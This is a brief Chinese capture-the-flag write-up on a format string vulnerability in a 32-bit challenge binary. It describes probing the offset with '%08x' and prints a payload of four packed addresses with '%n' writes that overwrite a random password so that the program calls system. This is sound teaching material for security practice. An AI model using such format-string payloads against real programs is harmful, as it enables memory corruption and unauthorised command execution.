这一道题利用的是格式化字符串漏洞
首先checksec一下,发现是开了canary的32位程序
放入ida
我们可以看到,这是让我们将自己输入的密码和随机密码进行比对,当比对成功就会自己执行system。
先输入AAAA%08x...找到相应的位置。传送门:(2条消息) 格式化字符串漏洞原理详解_ditto的博客-CSDN博客_格式化字符串漏洞
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
其他操作与其他题无大差别